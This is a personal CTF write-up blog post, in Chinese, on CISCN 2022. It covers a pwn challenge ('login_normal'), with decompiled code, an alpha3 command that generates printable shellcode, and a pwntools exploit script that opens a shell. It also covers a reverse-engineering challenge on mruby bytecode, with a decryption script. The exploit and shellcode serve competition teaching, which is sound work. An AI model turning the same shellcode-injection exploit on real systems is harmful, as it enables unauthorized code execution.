0%

ciscn2022

考研选手来摸鱼。

今年国赛菜得很快乐,趟得也很快乐~

PWN

吐槽:相比于去年啥都不会(当时连堆都没接触过),今年终于做出题了,虽然不是堆题。堆的 libc 更新太快了,我连 2.27 都没搞明白,2.33、2.34的就来了(老人疑惑

login_normal

保护全开。这道题分析好代码就会写了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char s[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v4; // [rsp+408h] [rbp-8h]

v4 = __readfsqword(0x28u);
init_();
while ( 1 )
{
memset(s, 0, 0x400uLL);
printf(">>> ");
read(0, s, 0x3FFuLL);
menu(s);
}
}

首先是main函数,就是一个循环,读入输入,看不出啥名堂,进入menu看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
unsigned __int64 __fastcall menu(_BYTE *our_input)
{
char *sa; // [rsp+8h] [rbp-48h]
char *sb; // [rsp+8h] [rbp-48h]
char *sc; // [rsp+8h] [rbp-48h]
char *sd; // [rsp+8h] [rbp-48h]
char v7; // [rsp+17h] [rbp-39h]
int v8; // [rsp+1Ch] [rbp-34h]
int v9; // [rsp+2Ch] [rbp-24h]
void *dest; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char *nptr; // [rsp+40h] [rbp-10h]
unsigned __int64 v13; // [rsp+48h] [rbp-8h]

v13 = __readfsqword(0x28u);
memset(qword_202040, 0, sizeof(qword_202040));
v8 = 0;
v7 = 0;
dest = 0LL;
while ( !*our_input || *our_input != 0xA && (*our_input != 13 || our_input[1] != 10) ) //遇'\n'跳出
{
if ( v8 <= 5 ) // 6次机会read
qword_202040[2 * v8] = our_input;
sb = strchr(our_input, ':'); // 寻找':'
if ( !sb ) // 找不到就报错
{
puts("error.");
exit(1);
} //**这里说明我们的输入必须要包含一个':'
*sb = 0;
for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
*sc = 0; // 从':'后一位寻找内容
if ( !*sc ) // 若输入内容包含特殊字符就报错
{
puts("abort.");
exit(2);
} //**这里说明':'后一位不准跟特殊字符
if ( v8 <= 5 )
qword_202040[2 * v8 + 1] = sc;
sd = strchr(sc, 10); // 寻找'\n'
if ( !sd ) // 找不到就报错
{
puts("error.");
exit(3);
} //**这里说明内容后面必须有'\n'
*sd = 0;
our_input = sd + 1;
if ( *our_input == 13 )
*our_input++ = 0;
s1 = qword_202040[2 * v8]; // s1为':'前的字符串
nptr = qword_202040[2 * v8 + 1]; // nptr为':'后的字符串
if ( !strcasecmp(s1, "opt") )
{
if ( v7 )
{
puts("error.");
exit(5);
}
v7 = atoi(nptr); // 若在我们的输入中找到了'opt'字符串,将其转为int整型储存在v7
}
else
{
if ( strcasecmp(s1, "msg") )
{
puts("error.");
exit(4);
}
if ( strlen(nptr) <= 1 )
{
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;
if ( dest )
{
puts("error.");
exit(5);
}
dest = calloc(v9 + 8, 1uLL);
if ( v9 <= 0 )
{
puts("error.");
exit(5);
}
memcpy(dest, nptr, v9); // 若在输入中找到了'msg',则将':'后边的内容复制到dest里
}
++v8; // 计数器+1,重复以上步骤
}
*our_input = 0;
sa = our_input + 1;
if ( *sa == 10 )
*sa = 0;
switch ( v7 ) // 对应以上循环里的'opt'
{
case 2:
backdoor(dest); // 对应以上循环里的'msg'
break;
case 3:
sub_EFE(dest);
break;
case 1:
root(dest);
break;
default:
puts("error.");
exit(6);
}
return __readfsqword(0x28u) ^ v13;
}

接下来再来看看root函数里有什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall sub_CBD(const char *a1)
{
int i; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-18h]

v3 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i )
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( !strcmp(a1, "ro0t") ) // a1即在menu中传入的dest
{
unk_202028 = 1; // 将两个全局变量置为1,在backdoor函数里有用
unk_202024 = 1;
}
else
{
unk_202028 = 1;
}
return __readfsqword(0x28u) ^ v3;
}

再来看下backdoor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // eax
size_t v2; // rax
int i; // [rsp+14h] [rbp-2Ch]
void *dest; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+28h] [rbp-18h]

v6 = __readfsqword(0x28u);
for ( i = 0; i < strlen(a1); ++i ) // 检测menu中传入的dest内容是否可打印
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!"); // 不可打印就报错
exit(-1);
}
}
if ( unk_202028 != 1 ) //检测是否root
{
puts("oh!");
exit(-1);
}
if ( unk_202024 ) //检测是否root
{
v1 = getpagesize(); // 获取一页的大小
dest = mmap(&loc_FFE + 2, v1, 7, 34, 0, 0LL); // 申请一片可读可写可执行的空间
v2 = strlen(a1);
memcpy(dest, a1, v2); //将dest内容复制至该空间
(dest)(); //直接执行dest内容
// text:0000000000000EC9 call rdx //
}
else
{
puts(a1);
}
return __readfsqword(0x28u) ^ v6;

总的来说,是一道编写可见字符串的shellcode题型,我们利用alpha3工具便可生成基于rdx的可打印shellcode

1
2
giantbranch@ubuntu:~/buupwn/mrctf/alpha3$ python ./ALPHA3.py x64 ascii mixedcase rdx --input="shellcode"
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00

有如下 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
io=process("./login")
#io=remote("39.105.43.168",13321)
context.arch='amd64'
#context.log_level='debug'
#gdb.attach(io,'b *$rebase(0x01346)')
#pause()
io.recvuntil(">>> ")
io.send("opt:1\nmsg:ro0tt\n\n:1")

shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00'
#gdb.attach(io,'b *$rebase(0xEC9)')
io.send("opt:2\nmsg:"+shellcode+"\n\n:2")
io.interactive()

RE

baby_code(未解出

先放篇大佬的文章在这里——mruby字节码逆向入门

Wankko Ree の Blog

.mrb可知是mruby解释器生成的字节码。从其文件头字节码可以看出使用的mruby版本

利用./mruby -v -b *.mrb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
giantbranch@ubuntu:~/ciscn2022/mruby/mruby/bin$ ./mruby -v -b babycode.mrb 
mruby 3.1.0 (2022-05-12)
irep 0x18b1a90 nregs=5 nlocals=2 pools=1 syms=5 reps=2 ilen=55
local variable names:
R1:p
000 LOADNIL R2
002 LOADNIL R3
004 CLASS R2 :Crypt // 定义Crypt类
007 EXEC R2 I(0:0x18b3a80) // 执行0x18b3a80初始化
010 TCLASS R2
012 METHOD R3 I(1:0x18b4320)
015 DEF R2 :check // 并添上check函数
018 SSEND R2 :gets n=0 // gets输入
022 SEND R2 :chomp n=0
026 MOVE R1 R2 ; R1:p
029 MOVE R3 R1 ; R1:p
032 SSEND R2 :check n=1 // check(R2)检测输入
036 JMPNOT R2 050
040 STRING R3 L(0) ; yes
043 SSEND R2 :puts n=1
047 JMP 052
050 LOADNIL R2
052 RETURN R2
054 STOP

irep 0x18b3a80 nregs=3 nlocals=1 pools=0 syms=1 reps=1 ilen=12
000 LOADNIL R1
002 LOADNIL R2
004 CLASS R1 :CIPHER
007 EXEC R1 I(0:0x18b3b50) // 执行了0x18b3b50
010 RETURN R1

irep 0x18b3b50 nregs=3 nlocals=1 pools=0 syms=6 reps=4 ilen=55
000 LOADI32 R1 305419896
006 SETCONST XX R1 // 定义常量 XX=305419896
009 LOADI R1 16
012 SETCONST YY R1 // 定义常量 YY=16
015 LOADSELF R1
017 SCLASS R1
019 METHOD R2 I(0:0x18b3c60) // 在0x18b3c60处定义了encrypt函数
022 DEF R1 :encrypt
025 TCLASS R1
027 METHOD R2 I(1:0x18b3d00) // 在0x18b3d00处也定义了encrypt函数,估计重载
030 DEF R1 :encrypt
033 SSEND R1 :private n=0
037 TCLASS R1
039 METHOD R2 I(2:0x18b4020)
042 DEF R1 :to_key // 在0x18b4020处定义了to_key函数
045 TCLASS R1
047 METHOD R2 I(3:0x18b40f0)
050 DEF R1 :enc_one // 在0x18b40f0处定义了enc_one函数
053 RETURN R1

irep 0x18b3c60 nregs=9 nlocals=5 pools=0 syms=3 reps=0 ilen=29
local variable names:
R1:t
R2:p
R3:&
R4:cip
000 ENTER 2:0:0:0:0:0:0 (0x80000)
004 GETCONST R5 CIPHER
007 SEND R5 :new n=0
011 MOVE R4 R5 ; R4:cip
014 MOVE R5 R4 ; R4:cip
017 MOVE R6 R1 ; R1:t
020 MOVE R7 R2 ; R2:p
//传参为t,p,为另一个encrypt做准备
023 SEND R5 :encrypt n=2
027 RETURN R5

irep 0x18b3d00 nregs=16 nlocals=11 pools=1 syms=8 reps=1 ilen=346
local variable names:
R1:t
R2:p
R3:&
R4:key
R5:c
R6:n
R7:num1
R8:num2
R9:enum1
R10:enum2
000 ENTER 2:0:0:0:0:0:0 (0x80000)
004 MOVE R12 R2 ; R2:p
007 SSEND R11 :to_key n=1
011 MOVE R4 R11 ; R4:key
//key=to_key(p)
014 ARRAY R5 R5 0 ; R5:c
017 LOADI_0 R6 ; R6:n
//定义c=[],n=0
019 MOVE R11 R6 ; R6:n
022 MOVE R12 R1 ; R1:t
025 SEND R12 :length n=0
029 LT R11 R12
031 JMPNOT R11 327
//接着是一个循环
035 MOVE R11 R1 ; R1:t
038 MOVE R12 R6 ; R6:n
041 GETIDX R11 R12
043 SEND R11 :ord n=0
047 SEND R11 :to_i n=0
051 LOADI R12 24
054 SEND R11 :<< n=1
058 MOVE R7 R11 ; R7:num1
//num1=ord(t[n])<<24
061 MOVE R11 R7 ; R7:num1
064 MOVE R12 R1 ; R1:t
067 MOVE R13 R6 ; R6:n
070 ADDI R13 1
073 GETIDX R12 R13
075 SEND R12 :ord n=0
079 SEND R12 :to_i n=0
083 LOADI R13 16
086 SEND R12 :<< n=1
090 ADD R11 R12
////num1=ord(t[n+1])<<16
092 MOVE R7 R11 ; R7:num1
095 MOVE R11 R7 ; R7:num1
098 MOVE R12 R1 ; R1:t
101 MOVE R13 R6 ; R6:n
104 ADDI R13 2
107 GETIDX R12 R13
109 SEND R12 :ord n=0
113 SEND R12 :to_i n=0
117 LOADI R13 8
120 SEND R12 :<< n=1
124 ADD R11 R12
////num1=ord(t[n+2])<<8
126 MOVE R7 R11 ; R7:num1
129 MOVE R11 R7 ; R7:num1
132 MOVE R12 R1 ; R1:t
135 MOVE R13 R6 ; R6:n
138 ADDI R13 3
141 GETIDX R12 R13
143 SEND R12 :ord n=0
147 SEND R12 :to_i n=0
151 ADD R11 R12
////num1=ord(t[n+3])
153 MOVE R7 R11 ; R7:num1
156 MOVE R11 R1 ; R1:t
159 MOVE R12 R6 ; R6:n
162 ADDI R12 4
165 GETIDX R11 R12
167 SEND R11 :ord n=0
171 SEND R11 :to_i n=0
175 LOADI R12 24
178 SEND R11 :<< n=1
182 MOVE R8 R11 ; R8:num2
//num2=ord(t[n+4])<<24
185 MOVE R11 R8 ; R8:num2
188 MOVE R12 R1 ; R1:t
191 MOVE R13 R6 ; R6:n
194 ADDI R13 5
197 GETIDX R12 R13
199 SEND R12 :ord n=0
203 SEND R12 :to_i n=0
207 LOADI R13 16
210 SEND R12 :<< n=1
214 ADD R11 R12
//num2+=ord(t[n+5])<<16
216 MOVE R8 R11 ; R8:num2
219 MOVE R11 R8 ; R8:num2
222 MOVE R12 R1 ; R1:t
225 MOVE R13 R6 ; R6:n
228 ADDI R13 6
231 GETIDX R12 R13
233 SEND R12 :ord n=0
237 SEND R12 :to_i n=0
241 LOADI R13 8
244 SEND R12 :<< n=1
248 ADD R11 R12
//num2=ord(t[n+6])<<8
250 MOVE R8 R11 ; R8:num2
253 MOVE R11 R8 ; R8:num2
256 MOVE R12 R1 ; R1:t
259 MOVE R13 R6 ; R6:n
262 ADDI R13 7
265 GETIDX R12 R13
267 SEND R12 :ord n=0
271 SEND R12 :to_i n=0
275 ADD R11 R12
//num2=ord(t[n+7])
277 MOVE R8 R11 ; R8:num2
280 MOVE R12 R7 ; R7:num1
283 MOVE R13 R8 ; R8:num2
286 MOVE R14 R4 ; R4:key
289 SSEND R11 :enc_one n=3
293 AREF R9 R11 0 ; R9:enum1
297 AREF R10 R11 1 ; R10:enum2
//enum1,enum2=enc_one(num1,num2,key)
301 MOVE R11 R5 ; R5:c
304 MOVE R12 R9 ; R9:enum1
307 SEND R11 :<< n=1
//c.append(enum1)
311 MOVE R11 R5 ; R5:c
314 MOVE R12 R10 ; R10:enum2
317 SEND R11 :<< n=1
//c.append(enum2)
321 ADDI R6 8 ; R6:n
324 JMP 019
//步长为8的循环
327 MOVE R11 R5 ; R5:c
330 BLOCK R12 I(0:0x18b3f50)
333 SENDB R11 :collect n=0
337 STRING R12 L(0) ;
340 SEND R11 :join n=1
//调用"".join(c.collect(0x18b3f50))
344 RETURN R11

irep 0x18b3f50 nregs=7 nlocals=3 pools=1 syms=1 reps=0 ilen=16
local variable names:
R1:x
R2:&
000 ENTER 1:0:0:0:0:0:0 (0x40000)
004 STRING R4 L(0) ; %.8x
007 MOVE R5 R1 ; R1:x
010 SSEND R3 :sprintf n=2
//进制转换
014 RETURN R3

irep 0x18b4020 nregs=6 nlocals=3 pools=1 syms=1 reps=0 ilen=16
local variable names:
R1:p
R2:&
000 ENTER 1:0:0:0:0:0:0 (0x40000)
004 MOVE R3 R1 ; R1:p
007 STRING R4 L(0) ; L*
010 SEND R3 :unpack n=1
//每四个字节转成一个整数
014 RETURN R3

irep 0x18b40f0 nregs=11 nlocals=8 pools=0 syms=2 reps=1 ilen=42
local variable names:
R1:num1
R2:num2
R3:key
R4:&
R5:y
R6:z
R7:s
000 ENTER 3:0:0:0:0:0:0 (0xc0000)
004 MOVE R8 R1 ; R1:num1
007 MOVE R9 R2 ; R2:num2
010 LOADI_0 R10
012 MOVE R5 R8 ; R5:y
015 MOVE R6 R9 ; R6:z
018 MOVE R7 R10 ; R7:s
021 GETCONST R8 YY
024 BLOCK R9 I(0:0x18b41c0)
027 SENDB R8 :times n=0
//循环YY次
031 MOVE R8 R5 ; R5:y
034 MOVE R9 R6 ; R6:z
//返回y,z
037 ARRAY R8 R8 2
040 RETURN R8

irep 0x18b41c0 nregs=10 nlocals=3 pools=1 syms=5 reps=0 ilen=186
local variable names:
R1:i
R2:&
//不太重要的位操作
000 ENTER 1:0:0:0:0:0:0 (0x40000)
004 GETUPVAR R3 5 0
008 GETUPVAR R4 6 0
012 LOADI_3 R5
014 SEND R4 :<< n=1
018 GETUPVAR R5 6 0
022 LOADI_5 R6
024 SEND R5 :>> n=1
028 SEND R4 :^ n=1
032 GETUPVAR R5 6 0
036 ADD R4 R5
038 GETUPVAR R5 7 0
042 GETUPVAR R6 3 0
046 GETUPVAR R7 7 0
050 LOADI R8 11
053 SEND R7 :>> n=1
057 ADDI R7 1
060 LOADI_3 R8
062 SEND R7 :& n=1
066 GETIDX R6 R7
068 ADD R5 R6
070 SEND R4 :^ n=1
074 ADD R3 R4
076 SETUPVAR R3 5 0
080 LOADL R4 L(0) ; 4294967295
083 SEND R3 :& n=1
087 SETUPVAR R3 5 0
091 GETUPVAR R3 7 0
095 GETCONST R4 XX
098 ADD R3 R4
100 SETUPVAR R3 7 0
104 GETUPVAR R3 6 0
108 GETUPVAR R4 5 0
112 LOADI_3 R5
114 SEND R4 :<< n=1
118 GETUPVAR R5 5 0
122 LOADI_5 R6
124 SEND R5 :>> n=1
128 SEND R4 :^ n=1
132 GETUPVAR R5 5 0
136 ADD R4 R5
138 GETUPVAR R5 7 0
142 GETUPVAR R6 3 0
146 GETUPVAR R7 7 0
150 ADDI R7 1
153 LOADI_3 R8
155 SEND R7 :& n=1
159 GETIDX R6 R7
161 ADD R5 R6
163 SEND R4 :^ n=1
167 ADD R3 R4
169 SETUPVAR R3 6 0
173 LOADL R4 L(0) ; 4294967295
176 SEND R3 :& n=1
180 SETUPVAR R3 6 0
184 RETURN R3

irep 0x18b4320 nregs=13 nlocals=8 pools=2 syms=7 reps=0 ilen=128 // 主逻辑check()
local variable names:
R1:p
R2:&
R3:i
R4:lst_ch
R5:c
R6:k
R7:cipher_text
000 ENTER 1:0:0:0:0:0:0 (0x40000)
004 LOADI_0 R3 ; R3:i
006 LOADI_0 R4 ; R4:lst_ch
//i和lst_ch初试均为0
008 MOVE R8 R3 ; R3:i
011 MOVE R9 R1 ; R1:p
014 SEND R9 :length n=0
018 LT R8 R9
020 JMPNOT R8 086
//以上是对i做循环,条件为`for i in range(len(p))`
024 MOVE R8 R1 ; R1:p
027 MOVE R9 R3 ; R3:i
030 GETIDX R8 R9
//取p[i]
032 SEND R8 :ord n=0
036 MOVE R5 R8 ; R5:c
//ord(p[i])赋值给c
039 MOVE R8 R5 ; R5:c
042 MOVE R9 R4 ; R4:lst_ch
045 SEND R8 :^ n=1
//取c和lst_ch进行异或
049 MOVE R9 R3 ; R3:i
052 ADDI R9 1
//取i+1
055 SEND R8 :^ n=1
//将c^lst_ch的结果和(i+1)异或
059 SEND R8 :chr n=0
//将该结果chr回来
063 MOVE R9 R1 ; R1:p
066 MOVE R10 R3 ; R3:i
069 MOVE R11 R8
072 SETIDX R9 R10 R11
//将chr后的字符赋值给p[i]
074 MOVE R8 R5 ; R5:c
077 MOVE R4 R8 ; R4:lst_ch
//把c的值赋给lst_ch
080 ADDI R3 1 ; R3:i
083 JMP 008
//步长循环为1
086 STRING R6 L(0) ; aaaassssddddffff ; R6:k
//循环结束后定义k='aaaassssddddffff'
089 GETCONST R8 Crypt
092 GETMCNST R8 R8::CIPHER
095 MOVE R9 R1 ; R1:p
098 MOVE R10 R6 ; R6:k
101 SEND R8 :encrypt n=2
//调用Crypt.CIPHER.encrypt(p, k)
105 MOVE R7 R8 ; R7:cipher_text
108 MOVE R8 R7 ; R7:cipher_text
//将加密结果赋值给cipher_text
111 STRING R9 L(1) ; f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb
114 EQ R8 R9
//将cipher_text与f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb进行比较
116 JMPNOT R8 124
120 LOADT R8
122 RETURN R8
124 LOADF R8
126 RETURN R8

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def to_key(p):
a = []
for i in range(0, len(p), 4):
a.append(int(p.encode()[i:i+4].hex(), 16))
return a

c = "f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb"
XX = 305419896
YY = 16
key = to_key("aaaassssddddffff")

dec = bytearray(40)
for i in range(0, len(c), 16):
num1 = int(c[i:i+8], 16)
num2 = int(c[i+8:i+16], 16)
y = num1 # R5
z = num2 # R6
s = 0
for _ in range(YY):
s = s + XX
for _ in range(YY):
z = z - ((((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3]))
z = z & 0xffffffff
s = s - XX
y = y - ((((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3]))
y = y & 0xffffffff
dec[i//2:i//2+4] = bytes.fromhex(("0000"+hex(y)[2:])[-8:])
dec[i//2+4:i//2+8] = bytes.fromhex(("0000"+hex(z)[2:])[-8:])
print(dec.hex())
lst_ch = 0
for i in range(len(dec)):
c = dec[i]
dec[i] = (c ^ (i + 1)) ^ lst_ch
lst_ch = dec[i]
print(dec)